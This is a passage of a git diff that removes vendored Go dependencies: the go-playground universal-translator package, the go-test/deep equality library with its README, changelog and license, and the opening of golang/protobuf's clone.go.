rules have been - // missed within the translations. - VerifyTranslations() error -} - -var _ Translator = new(translator) -var _ locales.Translator = new(translator) - -type translator struct { - locales.Translator - translations map[interface{}]*transText - cardinalTanslations map[interface{}][]*transText // array index is mapped to locales.PluralRule index + the locales.PluralRuleUnknown - ordinalTanslations map[interface{}][]*transText - rangeTanslations map[interface{}][]*transText -} - -type transText struct { - text string - indexes []int -} - -func newTranslator(trans locales.Translator) Translator { - return &translator{ - Translator: trans, - translations: make(map[interface{}]*transText), // translation text broken up by byte index - cardinalTanslations: make(map[interface{}][]*transText), - ordinalTanslations: make(map[interface{}][]*transText), - rangeTanslations: make(map[interface{}][]*transText), - } -} - -// Add adds a normal translation for a particular language/locale -// {#} is the only replacement type accepted and are ad infinitum -// eg. one: '{0} day left' other: '{0} days left' -func (t *translator) Add(key interface{}, text string, override bool) error { - - if _, ok := t.translations[key]; ok && !override { - return &ErrConflictingTranslation{locale: t.Locale(), key: key, text: text} - } - - lb := strings.Count(text, "{") - rb := strings.Count(text, "}") - - if lb != rb { - return &ErrMissingBracket{locale: t.Locale(), key: key, text: text} - } - - trans := &transText{ - text: text, - } - - var idx int - - for i := 0; i < lb; i++ { - s := "{" + strconv.Itoa(i) + "}" - idx = strings.Index(text, s) - if idx == -1 { - return &ErrBadParamSyntax{locale: t.Locale(), param: s, key: key, text: text} - } - - trans.indexes = append(trans.indexes, idx) - trans.indexes = append(trans.indexes, idx+len(s)) - } - - t.translations[key] = trans - - return nil -} - -// AddCardinal adds a cardinal plural translation for a particular language/locale -// {0} is the only replacement type accepted and only one variable is accepted as -// multiple cannot be used for a plural rule determination, unless it is a range; -// see AddRange below. -// eg. in locale 'en' one: '{0} day left' other: '{0} days left' -func (t *translator) AddCardinal(key interface{}, text string, rule locales.PluralRule, override bool) error { - - var verified bool - - // verify plural rule exists for locale - for _, pr := range t.PluralsCardinal() { - if pr == rule { - verified = true - break - } - } - - if !verified { - return &ErrCardinalTranslation{text: fmt.Sprintf("error: cardinal plural rule '%s' does not exist for locale '%s' key: '%v' text: '%s'", rule, t.Locale(), key, text)} - } - - tarr, ok := t.cardinalTanslations[key] - if ok { - // verify not adding a conflicting record - if len(tarr) > 0 && tarr[rule] != nil && !override { - return &ErrConflictingTranslation{locale: t.Locale(), key: key, rule: rule, text: text} - } - - } else { - tarr = make([]*transText, 7, 7) - t.cardinalTanslations[key] = tarr - } - - trans := &transText{ - text: text, - indexes: make([]int, 2, 2), - } - - tarr[rule] = trans - - idx := strings.Index(text, paramZero) - if idx == -1 { - tarr[rule] = nil - return &ErrCardinalTranslation{text: fmt.Sprintf("error: parameter '%s' not found, may want to use 'Add' instead of 'AddCardinal'. locale: '%s' key: '%v' text: '%s'", paramZero, t.Locale(), key, text)} - } - - trans.indexes[0] = idx - trans.indexes[1] = idx + len(paramZero) - - return nil -} - -// AddOrdinal adds an ordinal plural translation for a particular language/locale -// {0} is the only replacement type accepted and only one variable is accepted as -// multiple cannot be used for a plural rule determination, unless it is a range; -// see AddRange below. -// eg. in locale 'en' one: '{0}st day of spring' other: '{0}nd day of spring' - 1st, 2nd, 3rd... -func (t *translator) AddOrdinal(key interface{}, text string, rule locales.PluralRule, override bool) error { - - var verified bool - - // verify plural rule exists for locale - for _, pr := range t.PluralsOrdinal() { - if pr == rule { - verified = true - break - } - } - - if !verified { - return &ErrOrdinalTranslation{text: fmt.Sprintf("error: ordinal plural rule '%s' does not exist for locale '%s' key: '%v' text: '%s'", rule, t.Locale(), key, text)} - } - - tarr, ok := t.ordinalTanslations[key] - if ok { - // verify not adding a conflicting record - if len(tarr) > 0 && tarr[rule] != nil && !override { - return &ErrConflictingTranslation{locale: t.Locale(), key: key, rule: rule, text: text} - } - - } else { - tarr = make([]*transText, 7, 7) - t.ordinalTanslations[key] = tarr - } - - trans := &transText{ - text: text, - indexes: make([]int, 2, 2), - } - - tarr[rule] = trans - - idx := strings.Index(text, paramZero) - if idx == -1 { - tarr[rule] = nil - return &ErrOrdinalTranslation{text: fmt.Sprintf("error: parameter '%s' not found, may want to use 'Add' instead of 'AddOrdinal'. locale: '%s' key: '%v' text: '%s'", paramZero, t.Locale(), key, text)} - } - - trans.indexes[0] = idx - trans.indexes[1] = idx + len(paramZero) - - return nil -} - -// AddRange adds a range plural translation for a particular language/locale -// {0} and {1} are the only replacement types accepted and only these are accepted. -// eg. in locale 'nl' one: '{0}-{1} day left' other: '{0}-{1} days left' -func (t *translator) AddRange(key interface{}, text string, rule locales.PluralRule, override bool) error { - - var verified bool - - // verify plural rule exists for locale - for _, pr := range t.PluralsRange() { - if pr == rule { - verified = true - break - } - } - - if !verified { - return &ErrRangeTranslation{text: fmt.Sprintf("error: range plural rule '%s' does not exist for locale '%s' key: '%v' text: '%s'", rule, t.Locale(), key, text)} - } - - tarr, ok := t.rangeTanslations[key] - if ok { - // verify not adding a conflicting record - if len(tarr) > 0 && tarr[rule] != nil && !override { - return &ErrConflictingTranslation{locale: t.Locale(), key: key, rule: rule, text: text} - } - - } else { - tarr = make([]*transText, 7, 7) - t.rangeTanslations[key] = tarr - } - - trans := &transText{ - text: text, - indexes: make([]int, 4, 4), - } - - tarr[rule] = trans - - idx := strings.Index(text, paramZero) - if idx == -1 { - tarr[rule] = nil - return &ErrRangeTranslation{text: fmt.Sprintf("error: parameter '%s' not found, are you sure you're adding a Range Translation? locale: '%s' key: '%v' text: '%s'", paramZero, t.Locale(), key, text)} - } - - trans.indexes[0] = idx - trans.indexes[1] = idx + len(paramZero) - - idx = strings.Index(text, paramOne) - if idx == -1 { - tarr[rule] = nil - return &ErrRangeTranslation{text: fmt.Sprintf("error: parameter '%s' not found, a Range Translation requires two parameters. locale: '%s' key: '%v' text: '%s'", paramOne, t.Locale(), key, text)} - } - - trans.indexes[2] = idx - trans.indexes[3] = idx + len(paramOne) - - return nil -} - -// T creates the translation for the locale given the 'key' and params passed in -func (t *translator) T(key interface{}, params ...string) (string, error) { - - trans, ok := t.translations[key] - if !ok { - return unknownTranslation, ErrUnknowTranslation - } - - b := make([]byte, 0, 64) - - var start, end, count int - - for i := 0; i < len(trans.indexes); i++ { - end = trans.indexes[i] - b = append(b, trans.text[start:end]...) - b = append(b, params[count]...) - i++ - start = trans.indexes[i] - count++ - } - - b = append(b, trans.text[start:]...) - - return string(b), nil -} - -// C creates the cardinal translation for the locale given the 'key', 'num' and 'digit' arguments and param passed in -func (t *translator) C(key interface{}, num float64, digits uint64, param string) (string, error) { - - tarr, ok := t.cardinalTanslations[key] - if !ok { - return unknownTranslation, ErrUnknowTranslation - } - - rule := t.CardinalPluralRule(num, digits) - - trans := tarr[rule] - - b := make([]byte, 0, 64) - b = append(b, trans.text[:trans.indexes[0]]...) - b = append(b, param...) - b = append(b, trans.text[trans.indexes[1]:]...) - - return string(b), nil -} - -// O creates the ordinal translation for the locale given the 'key', 'num' and 'digit' arguments and param passed in -func (t *translator) O(key interface{}, num float64, digits uint64, param string) (string, error) { - - tarr, ok := t.ordinalTanslations[key] - if !ok { - return unknownTranslation, ErrUnknowTranslation - } - - rule := t.OrdinalPluralRule(num, digits) - - trans := tarr[rule] - - b := make([]byte, 0, 64) - b = append(b, trans.text[:trans.indexes[0]]...) - b = append(b, param...) - b = append(b, trans.text[trans.indexes[1]:]...) - - return string(b), nil -} - -// R creates the range translation for the locale given the 'key', 'num1', 'digit1', 'num2' and 'digit2' arguments -// and 'param1' and 'param2' passed in -func (t *translator) R(key interface{}, num1 float64, digits1 uint64, num2 float64, digits2 uint64, param1, param2 string) (string, error) { - - tarr, ok := t.rangeTanslations[key] - if !ok { - return unknownTranslation, ErrUnknowTranslation - } - - rule := t.RangePluralRule(num1, digits1, num2, digits2) - - trans := tarr[rule] - - b := make([]byte, 0, 64) - b = append(b, trans.text[:trans.indexes[0]]...) - b = append(b, param1...) - b = append(b, trans.text[trans.indexes[1]:trans.indexes[2]]...) - b = append(b, param2...) - b = append(b, trans.text[trans.indexes[3]:]...) - - return string(b), nil -} - -// VerifyTranslations checks to ensures that no plural rules have been -// missed within the translations. -func (t *translator) VerifyTranslations() error { - - for k, v := range t.cardinalTanslations { - - for _, rule := range t.PluralsCardinal() { - - if v[rule] == nil { - return &ErrMissingPluralTranslation{locale: t.Locale(), translationType: "plural", rule: rule, key: k} - } - } - } - - for k, v := range t.ordinalTanslations { - - for _, rule := range t.PluralsOrdinal() { - - if v[rule] == nil { - return &ErrMissingPluralTranslation{locale: t.Locale(), translationType: "ordinal", rule: rule, key: k} - } - } - } - - for k, v := range t.rangeTanslations { - - for _, rule := range t.PluralsRange() { - - if v[rule] == nil { - return &ErrMissingPluralTranslation{locale: t.Locale(), translationType: "range", rule: rule, key: k} - } - } - } - - return nil -} diff --git a/vendor/github.com/go-playground/universal-translator/universal_translator.go b/vendor/github.com/go-playground/universal-translator/universal_translator.go deleted file mode 100644 index dbf707f5c7..0000000000 --- a/vendor/github.com/go-playground/universal-translator/universal_translator.go +++ /dev/null @@ -1,113 +0,0 @@ -package ut - -import ( - "strings" - - "github.com/go-playground/locales" -) - -// UniversalTranslator holds all locale & translation data -type UniversalTranslator struct { - translators map[string]Translator - fallback Translator -} - -// New returns a new UniversalTranslator instance set with -// the fallback locale and locales it should support -func New(fallback locales.Translator, supportedLocales ...locales.Translator) *UniversalTranslator { - - t := &UniversalTranslator{ - translators: make(map[string]Translator), - } - - for _, v := range supportedLocales { - - trans := newTranslator(v) - t.translators[strings.ToLower(trans.Locale())] = trans - - if fallback.Locale() == v.Locale() { - t.fallback = trans - } - } - - if t.fallback == nil && fallback != nil { - t.fallback = newTranslator(fallback) - } - - return t -} - -// FindTranslator trys to find a Translator based on an array of locales -// and returns the first one it can find, otherwise returns the -// fallback translator. -func (t *UniversalTranslator) FindTranslator(locales ...string) (trans Translator, found bool) { - - for _, locale := range locales { - - if trans, found = t.translators[strings.ToLower(locale)]; found { - return - } - } - - return t.fallback, false -} - -// GetTranslator returns the specified translator for the given locale, -// or fallback if not found -func (t *UniversalTranslator) GetTranslator(locale string) (trans Translator, found bool) { - - if trans, found = t.translators[strings.ToLower(locale)]; found { - return - } - - return t.fallback, false -} - -// GetFallback returns the fallback locale -func (t *UniversalTranslator) GetFallback() Translator { - return t.fallback -} - -// AddTranslator adds the supplied translator, if it already exists the override param -// will be checked and if false an error will be returned, otherwise the translator will be -// overridden; if the fallback matches the supplied translator it will be overridden as well -// NOTE: this is normally only used when translator is embedded within a library -func (t *UniversalTranslator) AddTranslator(translator locales.Translator, override bool) error { - - lc := strings.ToLower(translator.Locale()) - _, ok := t.translators[lc] - if ok && !override { - return &ErrExistingTranslator{locale: translator.Locale()} - } - - trans := newTranslator(translator) - - if t.fallback.Locale() == translator.Locale() { - - // because it's optional to have a fallback, I don't impose that limitation - // don't know why you wouldn't but... - if !override { - return &ErrExistingTranslator{locale: translator.Locale()} - } - - t.fallback = trans - } - - t.translators[lc] = trans - - return nil -} - -// VerifyTranslations runs through all locales and identifies any issues -// eg. missing plural rules for a locale -func (t *UniversalTranslator) VerifyTranslations() (err error) { - - for _, trans := range t.translators { - err = trans.VerifyTranslations() - if err != nil { - return - } - } - - return -} diff --git a/vendor/github.com/go-test/deep/.gitignore b/vendor/github.com/go-test/deep/.gitignore deleted file mode 100644 index 53f12f0f0e..0000000000 --- a/vendor/github.com/go-test/deep/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -*.swp -*.out diff --git a/vendor/github.com/go-test/deep/.travis.yml b/vendor/github.com/go-test/deep/.travis.yml deleted file mode 100644 index df3972fc9b..0000000000 --- a/vendor/github.com/go-test/deep/.travis.yml +++ /dev/null @@ -1,13 +0,0 @@ -language: go - -go: - - "1.10" - - "1.11" - - "1.12" - -before_install: - - go get github.com/mattn/goveralls - - go get golang.org/x/tools/cover - -script: - - $HOME/gopath/bin/goveralls -service=travis-ci diff --git a/vendor/github.com/go-test/deep/CHANGES.md b/vendor/github.com/go-test/deep/CHANGES.md deleted file mode 100644 index 8924cda19e..0000000000 --- a/vendor/github.com/go-test/deep/CHANGES.md +++ /dev/null @@ -1,26 +0,0 @@ -# go-test/deep Changelog - -## v1.0.3 - -* Fixed issue #31: panic on typed primitives that implement error interface - -## v1.0.2 released 2019-07-14 - -* Enabled Go module (@radeksimko) -* Changed supported and tested Go versions: 1.10, 1.11, and 1.12 (dropped 1.9) -* Changed Error equality: additional struct fields are compared too (PR #29) (@andrewmostello) -* Fixed typos and ineffassign issues (PR #25) (@tariq1890) -* Fixed diff order for nil comparison (PR #16) (@gmarik) -* Fixed slice equality when slices are extracted from the same array (PR #11) (@risteli) -* Fixed test spelling and messages (PR #19) (@sofuture) -* Fixed issue #15: panic on comparing struct with anonymous time.Time -* Fixed issue #18: Panic when comparing structs with time.Time value and CompareUnexportedFields is true -* Fixed issue #21: Set default MaxDepth = 0 (disabled) (PR #23) - -## v1.0.1 released 2018-01-28 - -* Fixed issue #12: Arrays are not properly compared (@samlitowitz) - -## v1.0.0 releaesd 2017-10-27 - -* First release diff --git a/vendor/github.com/go-test/deep/LICENSE b/vendor/github.com/go-test/deep/LICENSE deleted file mode 100644 index 228ef16f74..0000000000 --- a/vendor/github.com/go-test/deep/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright 2015-2017 Daniel Nichter - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/go-test/deep/README.md b/vendor/github.com/go-test/deep/README.md deleted file mode 100644 index 3b78eac7c1..0000000000 --- a/vendor/github.com/go-test/deep/README.md +++ /dev/null @@ -1,51 +0,0 @@ -# Deep Variable Equality for Humans - -[![Go Report Card](https://goreportcard.com/badge/github.com/go-test/deep)](https://goreportcard.com/report/github.com/go-test/deep) [![Build Status](https://travis-ci.org/go-test/deep.svg?branch=master)](https://travis-ci.org/go-test/deep) [![Coverage Status](https://coveralls.io/repos/github/go-test/deep/badge.svg?branch=master)](https://coveralls.io/github/go-test/deep?branch=master) [![GoDoc](https://godoc.org/github.com/go-test/deep?status.svg)](https://godoc.org/github.com/go-test/deep) - -This package provides a single function: `deep.Equal`. It's like [reflect.DeepEqual](http://golang.org/pkg/reflect/#DeepEqual) but much friendlier to humans (or any sentient being) for two reason: - -* `deep.Equal` returns a list of differences -* `deep.Equal` does not compare unexported fields (by default) - -`reflect.DeepEqual` is good (like all things Golang!), but it's a game of [Hunt the Wumpus](https://en.wikipedia.org/wiki/Hunt_the_Wumpus). For large maps, slices, and structs, finding the difference is difficult. - -`deep.Equal` doesn't play games with you, it lists the differences: - -```go -package main_test - -import ( - "testing" - "github.com/go-test/deep" -) - -type T struct { - Name string - Numbers []float64 -} - -func TestDeepEqual(t *testing.T) { - // Can you spot the difference? - t1 := T{ - Name: "Isabella", - Numbers: []float64{1.13459, 2.29343, 3.010100010}, - } - t2 := T{ - Name: "Isabella", - Numbers: []float64{1.13459, 2.29843, 3.010100010}, - } - - if diff := deep.Equal(t1, t2); diff != nil { - t.Error(diff) - } -} -``` - - -``` -$ go test ---- FAIL: TestDeepEqual (0.00s) - main_test.go:25: [Numbers.slice[1]: 2.29343 != 2.29843] -``` - -The difference is in `Numbers.slice[1]`: the two values aren't equal using Go `==`. diff --git a/vendor/github.com/go-test/deep/deep.go b/vendor/github.com/go-test/deep/deep.go deleted file mode 100644 index 1df803ae03..0000000000 --- a/vendor/github.com/go-test/deep/deep.go +++ /dev/null @@ -1,369 +0,0 @@ -// Package deep provides function deep.Equal which is like reflect.DeepEqual but -// returns a list of differences. This is helpful when comparing complex types -// like structures and maps. -package deep - -import ( - "errors" - "fmt" - "log" - "reflect" - "strings" -) - -var ( - // FloatPrecision is the number of decimal places to round float values - // to when comparing. - FloatPrecision = 10 - - // MaxDiff specifies the maximum number of differences to return. - MaxDiff = 10 - - // MaxDepth specifies the maximum levels of a struct to recurse into, - // if greater than zero. If zero, there is no limit. - MaxDepth = 0 - - // LogErrors causes errors to be logged to STDERR when true. - LogErrors = false - - // CompareUnexportedFields causes unexported struct fields, like s in - // T{s int}, to be compared when true. - CompareUnexportedFields = false -) - -var ( - // ErrMaxRecursion is logged when MaxDepth is reached. - ErrMaxRecursion = errors.New("recursed to MaxDepth") - - // ErrTypeMismatch is logged when Equal passed two different types of values. - ErrTypeMismatch = errors.New("variables are different reflect.Type") - - // ErrNotHandled is logged when a primitive Go kind is not handled. - ErrNotHandled = errors.New("cannot compare the reflect.Kind") -) - -type cmp struct { - diff []string - buff []string - floatFormat string -} - -var errorType = reflect.TypeOf((*error)(nil)).Elem() - -// Equal compares variables a and b, recursing into their structure up to -// MaxDepth levels deep (if greater than zero), and returns a list of differences, -// or nil if there are none. Some differences may not be found if an error is -// also returned. -// -// If a type has an Equal method, like time.Equal, it is called to check for -// equality. -func Equal(a, b interface{}) []string { - aVal := reflect.ValueOf(a) - bVal := reflect.ValueOf(b) - c := &cmp{ - diff: []string{}, - buff: []string{}, - floatFormat: fmt.Sprintf("%%.%df", FloatPrecision), - } - if a == nil && b == nil { - return nil - } else if a == nil && b != nil { - c.saveDiff("", b) - } else if a != nil && b == nil { - c.saveDiff(a, "") - } - if len(c.diff) > 0 { - return c.diff - } - - c.equals(aVal, bVal, 0) - if len(c.diff) > 0 { - return c.diff // diffs - } - return nil // no diffs -} - -func (c *cmp) equals(a, b reflect.Value, level int) { - if MaxDepth > 0 && level > MaxDepth { - logError(ErrMaxRecursion) - return - } - - // Check if one value is nil, e.g. T{x: *X} and T.x is nil - if !a.IsValid() || !b.IsValid() { - if a.IsValid() && !b.IsValid() { - c.saveDiff(a.Type(), "") - } else if !a.IsValid() && b.IsValid() { - c.saveDiff("", b.Type()) - } - return - } - - // If different types, they can't be equal - aType := a.Type() - bType := b.Type() - if aType != bType { - c.saveDiff(aType, bType) - logError(ErrTypeMismatch) - return - } - - // Primitive https://golang.org/pkg/reflect/#Kind - aKind := a.Kind() - bKind := b.Kind() - - // Do a and b have underlying elements? Yes if they're ptr or interface. - aElem := aKind == reflect.Ptr || aKind == reflect.Interface - bElem := bKind == reflect.Ptr || bKind == reflect.Interface - - // If both types implement the error interface, compare the error strings. - // This must be done before dereferencing because the interface is on a - // pointer receiver. Re https://github.com/go-test/deep/issues/31, a/b might - // be primitive kinds; see TestErrorPrimitiveKind. - if aType.Implements(errorType) && bType.Implements(errorType) { - if (!aElem || !a.IsNil()) && (!bElem || !b.IsNil()) { - aString := a.MethodByName("Error").Call(nil)[0].String() - bString := b.MethodByName("Error").Call(nil)[0].String() - if aString != bString { - c.saveDiff(aString, bString) - return - } - } - } - - // Dereference pointers and interface{} - if aElem || bElem { - if aElem { - a = a.Elem() - } - if bElem { - b = b.Elem() - } - c.equals(a, b, level+1) - return - } - - switch aKind { - - ///////////////////////////////////////////////////////////////////// - // Iterable kinds - ///////////////////////////////////////////////////////////////////// - - case reflect.Struct: - /* - The variables are structs like: - type T struct { - FirstName string - LastName string - } - Type = .T, Kind = reflect.Struct - - Iterate through the fields (FirstName, LastName), recurse into their values. - */ - - // Types with an Equal() method, like time.Time, only if struct field - // is exported (CanInterface) - if eqFunc := a.MethodByName("Equal"); eqFunc.IsValid() && eqFunc.CanInterface() { - // Handle https://github.com/go-test/deep/issues/15: - // Don't call T.Equal if the method is from an embedded struct, like: - // type Foo struct { time.Time } - // First, we'll encounter Equal(Ttime, time.Time) but if we pass b - // as the 2nd arg we'll panic: "Call using pkg.Foo as type time.Time" - // As far as I can tell, there's no way to see that the method is from - // time.Time not Foo. So we check the type of the 1st (0) arg and skip - // unless it's b type. Later, we'll encounter the time.Time anonymous/ - // embedded field and then we'll have Equal(time.Time, time.Time). - funcType := eqFunc.Type() - if funcType.NumIn() == 1 && funcType.In(0) == bType { - retVals := eqFunc.Call([]reflect.Value{b}) - if !retVals[0].Bool() { - c.saveDiff(a, b) - } - return - } - } - - for i := 0; i < a.NumField(); i++ { - if aType.Field(i).PkgPath != "" && !CompareUnexportedFields { - continue // skip unexported field, e.g. s in type T struct {s string} - } - - c.push(aType.Field(i).Name) // push field name to buff - - // Get the Value for each field, e.g. FirstName has Type = string, - // Kind = reflect.String. - af := a.Field(i) - bf := b.Field(i) - - // Recurse to compare the field values - c.equals(af, bf, level+1) - - c.pop() // pop field name from buff - - if len(c.diff) >= MaxDiff { - break - } - } - case reflect.Map: - /* - The variables are maps like: - map[string]int{ - "foo": 1, - "bar": 2, - } - Type = map[string]int, Kind = reflect.Map - - Or: - type T map[string]int{} - Type = .T, Kind = reflect.Map - - Iterate through the map keys (foo, bar), recurse into their values. - */ - - if a.IsNil() || b.IsNil() { - if a.IsNil() && !b.IsNil() { - c.saveDiff("", b) - } else if !a.IsNil() && b.IsNil() { - c.saveDiff(a, "") - } - return - } - - if a.Pointer() == b.Pointer() { - return - } - - for _, key := range a.MapKeys() { - c.push(fmt.Sprintf("map[%s]", key)) - - aVal := a.MapIndex(key) - bVal := b.MapIndex(key) - if bVal.IsValid() { - c.equals(aVal, bVal, level+1) - } else { - c.saveDiff(aVal, "") - } - - c.pop() - - if len(c.diff) >= MaxDiff { - return - } - } - - for _, key := range b.MapKeys() { - if aVal := a.MapIndex(key); aVal.IsValid() { - continue - } - - c.push(fmt.Sprintf("map[%s]", key)) - c.saveDiff("", b.MapIndex(key)) - c.pop() - if len(c.diff) >= MaxDiff { - return - } - } - case reflect.Array: - n := a.Len() - for i := 0; i < n; i++ { - c.push(fmt.Sprintf("array[%d]", i)) - c.equals(a.Index(i), b.Index(i), level+1) - c.pop() - if len(c.diff) >= MaxDiff { - break - } - } - case reflect.Slice: - if a.IsNil() || b.IsNil() { - if a.IsNil() && !b.IsNil() { - c.saveDiff("", b) - } else if !a.IsNil() && b.IsNil() { - c.saveDiff(a, "") - } - return - } - - aLen := a.Len() - bLen := b.Len() - - if a.Pointer() == b.Pointer() && aLen == bLen { - return - } - - n := aLen - if bLen > aLen { - n = bLen - } - for i := 0; i < n; i++ { - c.push(fmt.Sprintf("slice[%d]", i)) - if i < aLen && i < bLen { - c.equals(a.Index(i), b.Index(i), level+1) - } else if i < aLen { - c.saveDiff(a.Index(i), "") - } else { - c.saveDiff("", b.Index(i)) - } - c.pop() - if len(c.diff) >= MaxDiff { - break - } - } - - ///////////////////////////////////////////////////////////////////// - // Primitive kinds - ///////////////////////////////////////////////////////////////////// - - case reflect.Float32, reflect.Float64: - // Avoid 0.04147685731961082 != 0.041476857319611 - // 6 decimal places is close enough - aval := fmt.Sprintf(c.floatFormat, a.Float()) - bval := fmt.Sprintf(c.floatFormat, b.Float()) - if aval != bval { - c.saveDiff(a.Float(), b.Float()) - } - case reflect.Bool: - if a.Bool() != b.Bool() { - c.saveDiff(a.Bool(), b.Bool()) - } - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - if a.Int() != b.Int() { - c.saveDiff(a.Int(), b.Int()) - } - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - if a.Uint() != b.Uint() { - c.saveDiff(a.Uint(), b.Uint()) - } - case reflect.String: - if a.String() != b.String() { - c.saveDiff(a.String(), b.String()) - } - - default: - logError(ErrNotHandled) - } -} - -func (c *cmp) push(name string) { - c.buff = append(c.buff, name) -} - -func (c *cmp) pop() { - if len(c.buff) > 0 { - c.buff = c.buff[0 : len(c.buff)-1] - } -} - -func (c *cmp) saveDiff(aval, bval interface{}) { - if len(c.buff) > 0 { - varName := strings.Join(c.buff, ".") - c.diff = append(c.diff, fmt.Sprintf("%s: %v != %v", varName, aval, bval)) - } else { - c.diff = append(c.diff, fmt.Sprintf("%v != %v", aval, bval)) - } -} - -func logError(err error) { - if LogErrors { - log.Println(err) - } -} diff --git a/vendor/github.com/go-test/deep/go.mod b/vendor/github.com/go-test/deep/go.mod deleted file mode 100644 index 6e8ca1d2b9..0000000000 --- a/vendor/github.com/go-test/deep/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/go-test/deep diff --git a/vendor/github.com/golang/protobuf/AUTHORS b/vendor/github.com/golang/protobuf/AUTHORS deleted file mode 100644 index 15167cd746..0000000000 --- a/vendor/github.com/golang/protobuf/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at http://tip.golang.org/AUTHORS. diff --git a/vendor/github.com/golang/protobuf/CONTRIBUTORS b/vendor/github.com/golang/protobuf/CONTRIBUTORS deleted file mode 100644 index 1c4577e968..0000000000 --- a/vendor/github.com/golang/protobuf/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at http://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/github.com/golang/protobuf/LICENSE b/vendor/github.com/golang/protobuf/LICENSE deleted file mode 100644 index 0f646931a4..0000000000 --- a/vendor/github.com/golang/protobuf/LICENSE +++ /dev/null @@ -1,28 +0,0 @@ -Copyright 2010 The Go Authors. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - diff --git a/vendor/github.com/golang/protobuf/proto/clone.go b/vendor/github.com/golang/protobuf/proto/clone.go deleted file mode 100644 index 3cd3249f70..0000000000 --- a/vendor/github.com/golang/protobuf/proto/clone.go +++ /dev/null @@ -1,253 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2011 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// Protocol buffer deep copy and merge. -// TODO: RawMessage. - -package proto - -import ( - "fmt" - "log" - "reflect" - "strings" -) - -// Clone returns a deep copy of a protocol buffer. -func Clone(src Message) Message { - in := reflect.ValueOf(src) - if in.IsNil() { - return src - } - out := reflect.New(in.Type().Elem()) - dst := out.Interface().(Message) - Merge(dst, src) - return dst -} - -// Merger is the interface representing objects that can merge messages of the same type. -type Merger interface { - // Merge merges src into this message. - // Required and optional fields that are set in src will be set to that value in dst. - // Elements of repeated fields will be appended. - // - // Merge may panic if called with a different argument type than the receiver. - Merge(src Message) -} - -// generatedMerger is the 